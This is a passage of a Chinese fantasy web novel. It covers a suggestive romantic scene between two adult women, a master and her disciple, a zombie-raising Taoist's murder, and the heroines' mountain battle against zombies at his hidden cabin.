穆若水:【[语音]没有,一边泡一边玩手机,你买的防水袋不错】 傅清微:【我打完坐了,你快点回来】 穆若水自温泉里走上岸,光洁姣好的身躯在白雾里若隐若现,待完全暴露在月光下时,身上已经披了一件青色的外袍。 腰带松垮垮地一挽,将束未束,墨发过腰的女人信步朝道观后院的方向走去。 她在木门门口驻足,理了理散乱的衣袍。 出现在傅清微面前的则又是另一番一丝不苟的模样。 穆若水进卫生间换了睡衣,合衣躺在傅清微给她留好的床的外侧。 傅清微熟门熟路地摸过来,挽住了她的手:“师尊。” “何事?” “晚安吻。” 穆若水侧过身子和她接吻,她的手也被拉过去胡乱在她身上按着,高低起伏。 穆若水一动不动,任由她使用自己的手。 傅清微边亲边让她摸了会儿自己,觉得提不起劲,问她:“师尊,你怎么不动?” 穆若水在黑暗里翘了翘唇,说:“我看你自己动得挺好的。” 听出女人话语中的戏谑,傅清微不满地道:“你怎么这样啊?” 穆若水便就地揉了揉,傅清微果然又满意了,时不时哼哼两声。 穆若水听着她舒心的声音,手指不急不缓地走着,问她:“为师是你的工具人吗?你每日都乐衷于此。” “嗯……不是……”傅清微仰起头亲了亲她的唇,说,“只是想和你距离更近一些,不这样也行的。” 既然她这么说,穆若水就顺理成章地停了下来。 前菜都没吃完。 傅清微暗含委屈:“……你不能这样。” 穆若水:“哪样?”她的指腹又绕了过来。 傅清微不说话了,默默地受着她的好,说多错多。 “怎么不说话了,嗯?” 穆若水轻轻地掐了一下,不痛,只是愈发的痒。 傅清微叫了出来。 穆若水低头用唇瓣抿了抿,她想再抬起头,却被傅清微的手摁住脑袋动弹不得。 幸好穆若水不用呼吸,否则埋在里面这么久,非得窒息不可。 许久傅清微才放她上来。 她气喘吁吁,苍白面容已满是红潮,处处泛潮。穆若水一边断断续续吻着她的唇,一边犹带紊乱的气息说:“还说没把我当工具人?” 哪有她这么能主动求欢的女人? 穆若水只要出一张嘴,其他的傅清微自己会解决。 傅清微:“谁让你故意作弄我?” 穆若水默了默:“你不觉得这是情趣吗?”谁知傅清微这般不解风情。 谁能想到有朝一日观主和情趣这两个词能摆在一起。 傅清微也没想到,她太猴急了。 “对不起。” “无妨。” “那我们重新试一次?” “你还能重来吗?”穆若水的手探了过去,指尖抵着,“都这样了。” “太喜欢你了。”傅清微小小声说,主动靠近她。 穆若水亲着她,指尖顺着滑了滑。 傅清微将脸埋进女人的颈窝,泄露出的声音都倾在她的耳边。 “师尊……” “嗯?” “你喜欢我吗?” “喜欢……你的反应。”穆若水对着她的耳朵边亲边咬,不可抑制的低喘,“你好热情啊。” 傅清微闭上了眼睛,不再作他想,在她越掀越高的海浪里浮沉。 傅清微已经彻底没力气了,她的膝盖有点酸,小腿也没力气,还是穆若水帮着她躺平下来的。 “你又睡着了吗?” “没有。”傅清微闭着眼道,“我在师尊心目中就这么容易睡着吗?” “明天要早起,你还是睡吧。”穆若水劝她。 “你不是说要给我……”傅清微睁眼从上往下看,穆若水正坐在床尾,手里拿着一包湿巾。 舔干净的吗? 穆若水边拆湿巾边道:“你白天不是拒绝我了吗?” “我说晚上。” “我答应了吗?” “……” “你想如何便如何,没有这样的道理。” 穆若水拍了拍她的侧腰,说:“抬起来一点。” 傅清微心怀郁闷,穆若水把用过的湿巾都收好,虽然拒绝了她,但还是在最后,俯身亲了亲。 ——在傅清微清醒的情况下。 傅清微整张脸迅速涨红了,一连张了好几次口,没说出话,悄悄拉高了被子,盖到眼睛。 穆若水蜻蜓点水,一触即离,足以让傅清微良久回味。 穆若水躺过来,她还不好意思看她。 穆若水温柔地摸了摸她的头发,说出了真正的原因:“太晚了,越弄只会越弄不干净,下次不用出差的时候吧,我会让你尽兴的。” 傅清微窝在她怀里,害羞地嗯了一声。 “睡吧,晚安。” “晚安。” 傅清微设好了闹钟,沉沉睡去。 * 灵管局。 早上八点半,占英被叫去了主任办公室。 “师父。” 岁已寒本来坐在办公桌后面,见到她进来,立刻起身走了出来,把两样东西递给了她。 “这是我让人从阁皂山送来的百年桃木剑,这些是我连日画的符箓,此行凶险,你要小心。” “徒儿明白。”占英双手郑重接过,看向她苍白的气色,心疼道,“徒儿不在身边,请师尊保重身体。” 岁已寒摇头。 “我不碍事。你……” 女人狠了狠心,道:“你应知晓,你此行还有一个更重要的任务。所以你要承担双倍的风险。” 占英说:“徒儿会保护好傅清微。” “她的性命比你的性命更重要,遇到生死关头……” “我死,也要她活着。”占英抬起眼,慢慢地说,“师尊,徒儿明白的。” 岁已寒伸出手抚了抚她的脸,看向她眼底浅浅的泪光。 “刚刚那番话是灵管局的岁主任说的,在为师心目中,你才是最重要的,自始至终,无人能及。” 占英用脸蹭着她的手掌。 “这件事不宜让太多人知道,恐生变数,只有你是我最相信的人,所以才派你去,你明白吗?” “我知道。” 占英的目光渐渐坚定。 “我一定不会辜负师尊的期望。” “还有呢?” “活着回来。” 岁已寒指尖抚过她的眉毛和眼睛,细细地看过她年轻的脸,说:“去吧,她们应该快到了。” “是。” 占英收好符箓,把桃木剑背在身上,头也不回地离开。 “占英!”岁已寒没忍住出声叫住她。 占英回过头应了一声,快速地冲她跑了过来。 就像她还是个小孩子的时候,刚刚拜入阁皂山的山门,每天跟在那道白衣身影后面。 岁已寒不知道怎么带徒弟,被掌门半推半就硬塞给她,好在徒儿非常省心,每日练功自觉,虽然粘她却并不过分,岁已寒一喊她的名字,她就会眼睛里亮起星星,冲她跑过来。 从女孩长成少年,再到成熟的大人。 一开始只能抱住她的腿,后来可以抱住她的腰,到现在双臂一搂,能够将她也环抱在怀里了。 岁已寒眼前闪过她从小到大的一幕幕,抬手紧紧回抱住她。 “你一定要活着回来。” “我会的。” 占英从主任办公室离开后,来到集合地点——灵管局中央大楼门口。 都是老相识了,龙璇玑经历了多段历练,社恐的情况好了许多,主动招呼道:“占科长。” 她进灵管局还是占英引荐的,占英笑着回:“你好呀龙道友,叫我占英就行了。” 龙璇玑从善如流:“你身体怎么样啊占英?伤好全了吗?” 虽然社恐好了,但讲话还是有点像SIRI,字正腔圆。 占英忍俊不禁:“已经过去快一年了,当然好啦,小伤不在话下。” 两人正寒暄,离约定的时间还有十分钟,穆若水和傅清微师徒俩也进入了视线。 穆若水戴着黑色口罩,青袍广袖仍然气质卓然,怀里抱着一只睡觉的外勤人员小三花。 傅清微今天没穿道袍,一身常服,工装裤马丁靴,浅色内搭黑色外套,身背一短一长两把剑,容貌气质看上去比身边的穆若水还要凛冽。 两人身量相仿,个子都高,这么并肩走过来,占英心想怪养眼的。 龙璇玑掏出了手机。 占英说:“你干吗?” 龙璇玑打开录像模式,说:“拍视频。”待会发给娘亲。 占英心说我当然知道你在拍视频,可是你怎么敢?就不怕慈让真人拧断你的脖子吗? 为什么慈让真人看起来并不生气? 大夏天又是哪里来的桃花啊??? 熟悉的桃花瓣在面前一片一片地飘落,傅清微接住一瓣,含笑望向不远处的璇玑。 她似乎偏头和穆若水说了什么,穆若水露在外面的眼睛也染上浅浅的笑意。 两个人一起朝镜头看过来,还停下脚步配合地做了个定格。 龙璇玑点了录像旁边的拍照键。 抬手比了OK,两个人才重新迈开脚步。 占英全程张大嘴:“???” 凭什么啊?她兢兢业业任劳任怨给观主跑腿一年,都没有这种平易近人的待遇! 女儿了不起吗?! 龙璇玑正在这时朝她看了一眼。 Sorry,亲女儿就是了不起。 傅清微:“璇玑早上好,占科早上好。” 占英幽幽道:“终究是错付了。” 傅清微笑道:“怎么了这是?” 龙璇玑如今机灵得很,说:“占科吃醋了,羡慕嫉妒恨。” 占英瞧了眼旁边黑着脸的穆若水,连忙澄清道:“可不敢瞎说啊,龙道友不要害我。” 占英正色道:“观主,我们此行恐怕不方便带猫,可以先把它寄养在局里,之后再来领。” 穆若水挑了挑眉。 占英本来以为要费一番口舌,没想到穆若水同意了她的提议,倒是傅清微恋恋不舍的,却也没有反对。 送猫离开前,龙璇玑一把将手机塞占英手里:“占科给我们拍张合照吧。” 占英有一句脏话要说。 占科微笑:“好的。请站好。” 龙璇玑跑过去站到了傅清微身边,傅清微牵着穆若水的手,穆若水在最右边抱着小三花。 天空适时地飘起了桃花雨。 咔嚓——魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 110-120 第111章 鹤市近来恶性凶案高发, 不太平的光景使得普通人自发地规律生息,除了夜班工作人员,尽量不在深夜外出。 在家不是万无一失, 但房子能够给人安全感。 中年男人匡海在晚上九点半拎了一袋卤味回家, 拿出小冰箱里的啤酒摆在茶几上, 大夏天光着个膀子,两条腿横跨了半张沙发, 电视里的声音放大到足以扰民的地步, 播放着球赛。 途中女邻居来敲了一次门,见到他光着上身, 一米八的大个, 当即咽回了劝说的话语。 匡海色眯眯的目光在女子身上从上到下打量了一圈,吹了声流氓哨。 “第一次见啊,美女, 进来陪哥哥玩会儿?” 吓得女邻居冲刺跑回隔壁, 砰的一声关上大门。 匡海露出一口泛黄的牙,冲着邻居的背影笑,晃晃悠悠地回到租住的房子里, 叉着腿继续看比赛。 球赛持续到凌晨。 电视机的响动也一直没停。 匡海摊在沙发里,心想女邻居又来了,他脱下了刚穿上的汗衫,走到门口想了想, 把自己裤子的拉链拉开了,大喇喇地打开了门。 “又见面了美……”匡海掏出来的动作一顿, 慢慢地塞了回去, 收起脸上邪恶的淫笑。 面前站着两位陌生的男人。 匡海拉上了裤子拉链。 为首的一位黄色道卦,头戴九梁巾, 蓄须,正经的道人打扮。 匡海疑惑:“你是……” 话音未落,道人身后那位大夏天戴兜帽一身黑漆漆的青年男子一把将他推进了门内,他力气奇大无比,匡海一米八体重八十公斤跟个小鸡仔似的倒飞了进去,重重砸在地上。 黄袍道人走进来,随手关上了门。 青年男子右手的指甲长而尖利,高高举起,眼看着就要插入匡海的眼睛,前进后出脑壳捅个对穿。 匡海瞳孔缩成针孔似的小点,人在极度惊恐的情况下反而叫不出来。 黄袍道人:“住手!” 青黑色的指甲停在匡海的眼前,离眼珠不到一公分的距离。 他脖子僵硬地动了动,兜帽滑落大半,匡海直面了他的脸,脖颈到脸颊布满了黑色筋络,嘴唇乌紫,那些黑色慢慢褪去,底下的脸又是惨白惨白,白得发青,跟太平间里拉出来的尸体似的。 匡海胯下一热,整个人一抖一抖,空气里顿时弥漫一股尿骚味。 黄袍道人捏着鼻子下令:“把他带到屋里去。” 青年男子拎起地上的匡海,提线木偶似的提着另一个呆滞的木偶丢进了卧室,站立在一边,红色的瞳孔流露出垂涎的光,似乎想伺机将匡海撕碎。 忌惮着黄袍道人,才没有动手。 黄袍道人皱起眉头。 这些尸仆,越炼到高阶段越有自我意识,如果不是他早下了禁制,只怕会反过来噬主。 而且本性残暴,不改嗜血天性。 上次他派飞僵去杀徐达旭,他只是让他将对方开膛破肚,抽出肠子,他将徐达旭撕碎成一块一块,害得他前功尽弃,还引起了灵管局的注意躲了一段时间。 这次他要亲自动手,确保万无一失。 黄袍道人从袖子里抽出了一把剔骨尖刀,一步步朝地上的男人走了过去。 …… 傅清微面前的笔记本屏幕上放着死者未打码的照片,死于破胸剖心,失血过多而亡,也有可能是活生生疼死的。 占英:“第一位死者匡海,无业,社会渣滓。” 傅清微:“等等,我们这样评价受害人可以吗?” 占英:“没关系,我们不是国家公职人员。” 占英这么说,主要是因为匡海这个人作恶多端,谁听了都要说一句死有余辜。 占英:“他有过数次被起诉猥亵的经历,因为强奸罪入过狱,而且是累犯。现场证物手机里搜出了很多偷拍的女性照片,黄色网站浏览记录……” “据邻居说,当夜他大声放比赛扰民,她前去劝阻,对方还性骚扰她,真是死性不改。” 傅清微果然感慨:“死得好。” 之后女邻居就报警了,只能以扰民的理由。 警方上门是十一点多,劝说他小点声放电视,匡海口口声声答应,警察一走故态复萌。 匡海的遇害时间在凌晨1点左右。 对门现场监控被毁,但是云端还保存着记录。 占英点击监控画面播放:“这位黄袍道人姓麻,叫作麻天德,以前是正派弟子,据说天赋绝佳,可惜心术不正被逐出师门,堕入邪道,销声匿迹已久,我们也是花了一番时间才确认了他的身份。” 傅清微看着麻天德身边那位身形僵硬的兜帽青年,说:“这个人我好像见过。” 虽然她在和占英对话,但目光总是习惯性停留在穆若水身上。 有时候对着她说完了,才记起来要问的人在对面,临时将视线转回来。 占英:“……” 穆若水:“他就是杀害徐达旭的凶手。” 占英接上:“对,前两个月的企业家被杀案就是它犯下的,案发以后它出了城,一路进了山里,我们没能追到踪迹。” 飞僵作案,来去无踪,人类作案留下的蛛丝马迹就太多了。 麻天德接连犯下了三桩凶案,前两次没能拍到他的脸,他还换了衣服出城,第三次总算天网恢恢,被监控照了个清清楚楚。这已经不是普通的案件,麻天德是飞僵的主人,谷传音曾经执行任务的村子偷盗尸体案估计也与他有关。 他极有可能,就是那个以歹毒之法炼尸的幕后黑手。 灵管局不惜动用了大量人力物力,查到了他的身份和踪迹,哪怕掘地三尺,也要把他从山里挖出来。 傅清微不解:“他既然可以操控飞僵,为什么要亲自杀人暴露自己呢?” 穆若水轻描淡写:“因为他想成仙。” “什么意思?” 傅清微和龙璇玑同时朝她看过来,一人一妖难掩震惊。 现代社会真能成仙? 穆若水却闭口不言了,懒得解释。 用最少的字装最大的逼。 二人只好将目光投向占英。 占英默了默,道:“因为千年来都未有修道飞升之人,所以有些人另辟蹊径,想出了一些歪门邪道,号称可以尸解成仙。有人于典籍里证实过,但记录是人写的,那些‘飞升’的人放弃了肉身,无形无色,融于天地,是死了还是真的飞升,无人知晓。” 占英说:“道家有五狱,挖心狱、抽肠狱、寒冰狱、火坑狱、拔舌狱。” 傅清微立刻想起死掉的三个人,从匡海开始,死亡方式分别对应挖心、抽肠、火焚,而这三位死者恰好都不是普世意义的好人。 占英解答:“挖心对应的是淫邪之罪,就是匡海。这些犯下罪孽的凡人,被称作人魈。” 徐达旭被飞僵撕碎了,不算在内,但是在后续调查里,发现他沽名钓誉,利用慈善大肆揽财,他的发家也不干净,指挥强拆害死了一对工地上的母子,还有别的罪孽,随着他的死都烟消云散了。 傅清微不解:“杀掉这些人就可以成仙?” 占英点头:“是,杀掉人魈,让他们经历五狱,凶手就能尸解成仙。” “这种方法真的有人会信吗?” “人心癫狂到了极致,就会有人信。” 麻天德不就信了?数年来盗了那么多尸体炼僵尸,接连犯下杀人凶案,一心给他的成仙铺路。 正经飞升的一般是白日飞升,金光普照,而走歪门邪道的尸解仙就不好说了,谁知道会不会没死成,变成了更厉害的魔物。 他堕入邪道,早与魔无异。 如果他的背后也有魔气作祟,那就更麻烦了。 占英指着黄袍道人的定格影像,说:“我们必须找到麻天德,杀了他,除掉他控制的那些僵尸,一个都不能放跑。” 傅清微和龙璇玑:“是!” 占英摊开地图,用笔画出了一条深入山里的线,在末端圈了一下。 “他就藏身在这里。” “我们现在是在出城的路上?”傅清微往车窗外看去,说话的功夫她们的车已经驶出了内环。 “对。” 穆若水自始至终一言不发。 傅清微和她坐在同一排,伸过去碰了碰她的手背:“师尊?” 穆若水挑起眉毛。 “你怎么不说话?” “我怕我一说话,你们会无地自容。” “?” 穆若水看了看她们三人,毒舌道:“你们三个加起来,都不够一只飞僵塞牙缝的。” 除掉麻天德?白日做梦! 这邪道她虽然不认识,但他看起来已经六十来岁,炼尸控尸非一日之功,他会只有一只飞僵吗?更低级的毛僵就够她们喝一壶的,谷传音合五人之力才斩杀了一只过渡形态的毛僵。 初生牛犊不怕虎,傅清微和龙璇玑无知,占英和岁已寒是有意。 合着把她捆上贼船是为了这件事,不断试探她的底线。 穆若水第一个念头是开门,下车。 可她的人质还在车上。 傅清微正在查看无人机拍摄传来的地图,没有任何半途而废的意思。 她就算知道真相,恐怕也不会退缩。 占英诚恳道:“局里人手紧张,任务危险等级极高,这才派了穆顾问亲自带队。” 穆若水:“不是点名要的傅清微吗?”现在知道换说辞了? 占英:“穆顾问和傅清微两位一体,不分彼此,点谁的名又有什么区别呢?” 穆若水:“别以为你说两句好话……得加钱。” 她是跑不了了,不如多要点好处,让傅清微荷包鼓一点。 占英:“当然,回去以后就申请。” 穆若水把资料要过来通读了一遍,心里大概有个数。她侧头望向玻璃车窗,城市两边的高楼风景已经换成了错落有致的绿水青山,蛇道蜿蜒。 岁已寒对她的身份猜到多少她懒得去想,她只关心傅清微会怎么想。 也许会是她暴露秘密的一次契机。 商务七座车一路从山道驶离,在黄土飞扬的土路上摇摇晃晃了两个小时,傅清微不晕车的也被颠簸得头晕脑胀,换到最后一排靠着穆若水休息。 后排的光线暗,穆若水摘了口罩亲吻她的手。 傅清微睁开迷蒙的眼看她。 穆若水口型说:没事。 占英无意间转头向后,看见穆若水没戴口罩,赶在看清之前连忙将脸转了回去,十分自觉。 岁已寒倒是收了个眼色极好的徒弟。 换一个人带队,穆若水恐怕就没这么好的脾气了。 穆若水的口罩摘了就没再戴上,几人从鹤市出来,换了两次交通工具,步行到一处人烟稀少的村落,天色已经快黑了,占英指着前方说:“我们先在村民家借宿一晚,白天再进山。” 不仅是白天视线好,低等级的僵尸阳光下不能现身,也是为了安全。 ……白摘了。 穆若水在进村前重新戴上了黑色口罩。 一行四人住在村长家,占英和龙璇玑一间房,傅清微和穆若水住一间,当夜没有动手动脚。 明天要打一场硬仗,几人都睡得很早,穆若水本来以为自己会失眠,做好了在院子里坐一宿的心理准备,反而比昨晚在山上还要放松地睡了过去。 隔天傅清微从外面打了水进来洗脸,她才悠悠醒转,满室晨光。 傅清微拧了干净帕子过来,穆若水坐起来,接过毛巾擦脸,傅清微服侍她将手也擦了。 穆若水偏头看着她专注的眼睫毛,刚好映着朝阳,侧脸镌刻金边。 “你知不知道这趟很危险?” “知道。”傅清微翻过她另一只修长的手,用毛巾细细地擦拭掌心,她看起来并不担忧,“但师尊会保护我。” “没错,我会保护你。”穆若水重复了一遍,在心里补充:不惜任何代价。 傅清微给她擦完手,将毛巾丢回盆里,端着盆出去,走到门口背影面对她。 “其实我不是不怕危险,比起死亡,我更怕的是不能死在你身边。” 所以,只要和师尊在一起,无论生死她都是幸福的。 穆若水想的却是:我绝不会让你死。 无论是以前,还是现在。 * 进山的道路前,占英正在给众人分发药物。 “这是防毒虫的药粉,先撒在身上。隔一段时间撒一次,加固效果。” “这是尸毒的解药,待会快到房子的时候提前服用。” 占英从药瓶里倒出来充满异香的药丸,每人一粒,轮到穆若水的时候,两人对视了一眼,穆若水摊开手心,面无异色地接过了解药。 “但是只能防一般的尸毒,飞僵以上只能延缓发作,务必小心。” 占英说完,又分了一些内伤的丹药,除了局里,龙虎山和茅山都贡献了一些。 龙璇玑干脆也事先分了一些药出来,待会打起来未必能救得那么及时。 占英从岁已寒画的那叠符箓里分出一半给了傅清微。 傅清微把她的手往回推:“占科这不行,太贵重了,你师傅给你的,我怎么能收?”再说,她又不是没有自己的师傅,师尊吃醋怎么办? 穆·乱吃飞醋·若水发话说:“收下吧。” 傅清微“咦”了一声,从善如流地接过收起来。 “谢谢占科。” 她瞧了眼大度的穆若水。 穆若水神色淡淡,摘了口罩也看不出情绪。 她们这四个人里,最不能死的就是傅清微。一旦她出事,其他人都别想活着。 占英手持地图,往上看了一眼,说:“走吧。” 山里没信号,傅清微捧出自己的罗盘辅助辨别方向。 蓬莱观的山路如果算与世隔绝的荒僻,那这座无名的山可以说险恶,夏季雨水多,山里的毒虫泛滥,不时脚下就会踩到滑腻的爬虫,隔着鞋底的触感都令人头皮发麻。 或者从湿润的土壤钻出来,趁人不备钻进裤脚里,好在在占英的提醒下,几人事先扎紧了裤腿,虫子爬不进去,就沿着裤缝爬行,爬满靴子。 药粉不是针对所有的毒虫都有效,一些特殊的,只能自己多注意。 连龙璇玑这棵五行之精的桃树都有不管用的时候,这些毒虫围绕着上山的几人,唯独没有近穆若水的身。 傅清微往裤腿撒了一层白色药粉,抖落半条腿生死不明的虫子。 穆若水:“……要不要我背你?” 占英和龙璇玑瞬间感觉自己的耳朵聋了一下。 龙璇玑聋着的同时没忘记撒两瓣桃花助兴,地上活着的虫子朝散发香气的桃花瓣爬了过去。 一阵静默后,傅清微涨红了脸说:“不、不用了吧。” 穆若水指着她的腿说:“很恶心,我是说虫子。” 傅清微:“你先不要看嘛,忍忍就好了,马上到了,占科还有多久?” 占英:“刚走了不到一半。” 傅清微:“……” 穆若水向傅清微伸出手,似乎打算强行抱她起来,傅清微往前赶了几步,一马当先道:“加快脚步,胜利就在前方。” “……” 穆若水无奈,只好说:“我走中间。” 本来占英、龙璇玑,依次是傅清微,穆若水殿后。现在换成龙璇玑在最后,不知道穆若水做了什么,她前后两米的范围,毒虫绝迹,比任何配制的药粉都有效。 少了碍事的毒虫,一行四人的速度提了起来,比原先预计的快了半小时赶到目的地点。 一栋完全建在山里的木屋,吊脚楼的样式,主要屋体悬空,四周都是参天蔽日的大树,如果不是几人特意找来,说不定都发现不了如此隐蔽的地方。 耳边静悄悄的,草丛里蜿蜒爬行的声音触动了唯一的听觉。 是蛇。 但离她们有一段距离,说不定正在观察她们这几位不速之客。 四人望着远处的小木屋,连鸟鸣声都没有,一片寂静,青天白日的,竟然给人一种阴森之感。 傅清微悄声:“分头行动还是……” 占英说:“一起吧。”单打独斗胜算不大。 几人正打算逼近,一声短促的鸟叫响了起来,立刻被掐住了喉咙似的,几人耳力都远胜常人,自然听到它是如何被握在手上,垂死挣扎,发出虚弱哀戚的鸣叫声。 最后生机断绝。 傅清微攥紧了拳头,下意识伸手去握背后的剑柄,忍住了。 咚,咚,咚。 这声音其实不大,落在树叶堆积的地面还有一个缓冲,但是在众人耳朵里却响如雷震,声声清晰。 因为她们看到了,从屋子后面跳出来一只僵尸,手里捏着满是鲜血的小鸟。 咚,咚,咚。 它一步一步跳到了屋前,半张脸皮都腐烂了,左右看了看,忽然一顿,似乎闻到了生人的气息。 它停了下来,灵敏的鼻子在空气里嗅着。 几个呼吸后,鲜红的眼珠朝几人藏身的方向看了过来。 四人连忙分头找树躲避,利用树身遮掩身形,彼此用眼神交流。 ——怎么办?它发现我们了。 ——要不要上? ——再等等。 耳边立刻响起僵尸的吼叫声。 傅清微握住了剑柄,缓缓抽出一截雪亮剑身,反射着头顶树叶间投下的阳光。 叫声离她们始终有一段距离,没有逼近。 占英探出脑袋,观察了一会儿,说:“它好像过不来。” 几人闻言纷纷从树后出来,穿着破旧冲锋衣的僵尸在木屋前,伸长了双手的青色指甲,怨毒的红眼睛盯着她们,喉咙咆哮,脚下却一动不动。 龙璇玑咬字端正:“原来是,无能狂怒啊。” 僵尸顿时叫得更厉害了,脸上的皮气得都要掉下来。 傅清微:“龙道友,这种时候就不要放嘲讽了。” 龙璇玑:“好的娘亲。” 傅清微:“本来就丑,叫起来更丑,你别气它了,不知道还能丑到什么新境界。” 龙璇玑:“怎么办?它真的更丑了。” 两个人一唱一和,那只僵尸在原地暴跳如雷,愣是没有近前一步。 穆若水眯眼:“应该是被下了命令守在木屋,不能离开。” 占英抽出百年桃木剑,看着穆若水说:“我去试试把它引过来?” 穆若水不得不担起顾问的身份,负手抿唇。 “是只毛僵,智力低下,可以一试。” “谢谢穆顾问。” 占英提了剑,朝木屋谨慎地靠近。 傅清微和龙璇玑都为她捏了一把汗,屏住呼吸看着她背对己方的身影。 正在这时,异变陡生! 木屋前这只僵尸集中了众人大部分注意力,以至于另一只僵尸从屋后绕过来了,几人才看到—— 原来还有一只! 而占英的目光只盯着屋前的那只。 这么近的距离,她不可能再看到旁边的视野死角。 不好! 傅清微厉声喝道:“占科回来!” 说时迟那时快,本来在原地不动的僵尸狰狞一笑,双手长而尖利的指甲刺了过来,青光映在占英薄薄的眼皮之上。 第112章 指甲几乎已经要碰到眼珠, 生生从占英眼睛里掐出来,如同刺入豆腐一样插进她的脑壳。 那僵尸的手忽然一缩,掌心出现了一道红色剑痕。 千钧一发之际, 占英挥出了手里的桃木剑, 卡住了僵尸伸过来的双手虎口, 顺势往前一送。 毛僵刀枪不入,即使没有划破他的皮肤, 也令其大为恼怒。 他喉咙里发出沉闷的嘶吼, 又一次想扑上来。 占英剑势刚尽,身体轻盈地飞起一脚踹中僵尸的胸口, 紧接着第二脚, 一脚比一脚重,僵尸被踹得后退一步,占英借着反作用力朝后倒飞出去, 瞬间拉开了距离。 与此同时, 另一只僵尸逼上来,双手的指甲刚好伸在她原先站立的位置,落了个空。 整套动作行云流水, 目不暇接,一个呼吸之间完成了躲避、攻击和撤离。 两只僵尸同时无能狂怒。 这是占英在无数次生死间锻炼出来的直觉,还有对同伴的无条件信任。 占英倒飞的身体被拉住去势,地里伸出一根湿润的桃枝缠住了她的腰肢, 她在傅清微身边站稳了身形,面色沉稳。 傅清微眼睛里流露出直接的赞叹。 身手好好。 她什么时候也能练成这样? 占英:“多谢你们提醒。” 傅清微不由惭愧。 虽然她确实提醒了, 但是以占英的本事应该自己也能察觉, 可能这就是阁皂派祖传的情绪价值吧。 占英抬了一下脚,说了刚获得的信息:“他的身体很硬, 跟踹在混凝土的墙面差不多。” 毛僵的肉身硬度已然如此,飞僵又该是什么地步?听说能够飞天遁地,谁也没真正见识过。 怪不得穆顾问说她们三个加起来都不够塞牙缝的。如果麻道人手下真的不止一只飞僵,这个任务谁来都要死,除非岁已寒和几位高层亲自出马,而且麻道人三十多年前已经成名,他除了控尸,还精通道法,综合起来穆若水是最适合对付麻天德的。 那两只毛僵汇合在木屋前,红眼珠互相看看,对着傅清微一行人低声嘶吼,最后走出来了一个。 是被占英的桃木剑划了一下的那只,他可能更生气一些。 穆若水:“把它拉远一点,尽量解决得悄无声息。” 占英一边心想真人太高看我们了,一边作为怒火值的焦点转身往林子里跑去。 毛僵果然被引走,追着她去了。 傅清微朝穆若水看了一眼,毫不犹豫地和龙璇玑一起快速跟了上去。 三个人对付一只毛僵,占英对敌经验丰富,有她带队,不用担心会有生命危险。 …… 穆若水站在原地,离木屋十几米远的地方,她低头瞧了瞧自己整洁的一身衣袍,早上还是傅清微亲自给她系的腰带呢。 可惜,今天要弄脏了。 穆若水一步一步朝木屋走了过去。 那只留守的毛僵愈发兴奋,红眼睛里放出光,意外之喜简直让他在原地蹦起来,等着穆若水送上门给他咬。 它就像电影里的僵尸,脸色青黑,眼窝深陷,长着一对凸出唇瓣的尖牙,样貌委实不算好看。 他是被炼成的僵尸,有谁问过他自己的意见呢?他愿不愿意变成这样。 然而他已经无法选择,作为僵尸完全摒弃了人性,只想着残忍嗜杀,屠尽生人。 生人的气息…… 毛僵蹦跳的动作停下来,为什么她身上没有生人的气息? 他喉咙滚动,发出意味不明的低吼。 僵尸间也有简单的语言,比如:你是谁? 只是无人能听懂。 穆若水说:“我是你的同类。” 毛僵愣住了,他看看自己十几公分青色指甲的双手,从对方漆黑的瞳孔里倒映出自己丑陋的样子,他再看看对方双手修长似玉,仙姿佚貌,长身玉立的女人。 为什么他们会不一样? 他以前似乎也和她是一样的。 为什么?为什么?! 穆若水:“如果你不愿意这样活着,我可以给你一个解脱。” 她目光中含着淡淡的悲悯。 毛僵眼睛里红光大盛,伸出双手凶狠地朝她刺了过来。 穆若水侧身一避,单手架住他一边胳膊,五指成爪扣住肘节,咔嚓清脆的骨裂声响起,同样的方式废了他另一条手臂。 两条手臂从中间耷拉下来,没有碰到她的衣服,穆若水干脆利落地伸手拧断了他的脖子。 他刀枪不入的身体在穆若水手底下就如同一块豆腐,轻易地折断,了却生机。 就像地上那只布满鲜血的小鸟。 毛僵轰然落下,双膝跪在穆若水面前,拧断的头颅低垂,以臣服的姿态死去。 敬酒不吃吃罚酒。 穆若水来到了木屋门口,拾级而上,脚步蓦然一顿,门前的地面有一个用奇怪符号画着的阵法。 穆若水抬起的脚收了回来,绕到旁边的窗户往里看。 没有人,但屋内停着密密麻麻的棺材。 麻天德不在。 穆若水沿着屋子走了一圈,在方圆几十米的地方又遇到一只毛僵,顺手杀了,才回去找傅清微几人。 她循着傅清微的气息过去。 没等找到她们,先听到了一声爆裂声,像是响雷在地面炸开。 轰—— 树林里多了一道飞掠的身影,青袍擦过高处的树叶,穆若水从视野好的树顶往下看,锁定了几人的踪迹。 穆若水自上方赶到,快速坠了下来,双脚平稳踩在地面。 和龙璇玑的桃枝一起赶到,扶住了飞身退后的傅清微,将她圈进怀里。 “师尊?你这么快就解决了?”傅清微惊喜道。 “嗯。” 穆若水没好意思说她已经兜完一圈回来了。 傅清微离开她的怀抱,提剑又冲了上去,剑锋凝绕白雾,全力一剑划开了毛僵的皮肤,伤口流出绿色的血。 穆若水旁观眼前的战局。 不怪她们打草惊蛇,僵尸到了毛僵阶段,除了肉身增强以外,已经可以飞了,做不到飞僵那样取人首级无无形,但飞身上树不在话下,这山林里又该死的到处都是树。 毛僵在树林里纵跳,游击作战,极为难缠,连衣服颜色都和树叶差不多。不多时几人身上便挂了彩。 幸好事先服用了尸毒的解药,否则被指甲划伤这么两下,就足够她们行动迟缓、丧失战斗力了。 占英本来想和劈蛟一样用天雷劈它,但乌云聚顶,天雷动静太大,说不定还会引发山火,于是她想起了师尊给的符箓。 岁已寒擅长雷法,她自己研制了新的符箓,能够将雷霆的力量封在符箓里,比天雷范围小,更加精准打击,节省了引雷的时间,相应的,威力也没有真正的天雷大。 占英算准时机,取出符箓掷中了正向她们偷袭的毛僵。 轰隆—— 方寸之间地动山摇。 几个人的耳朵差点被震聋了,差点和毛僵一起抱头蹲下。 毛僵被劈得直直下坠,砰一声砸在地面,整只僵都陷入了僵直状态,脸部腐皮皮肉外翻,散发出淡淡的焦味。 “璇玑——”占英立刻叫道。 不等她话说完,数道桃枝拔地而起,将地上的毛僵捆了个严严实实。 普通的束缚对毛僵没用,辟邪的桃木除外。但龙璇玑修为不高,只能暂时压制住他。 龙璇玑急得脸都红了:“快快快!撑不住啦!” 被捆成粽子的毛僵怒吼咆哮,两柄剑从桃枝的间隙间用尽全力捅进了毛僵的身体。 扑哧—— 接连两声利刃入肉。 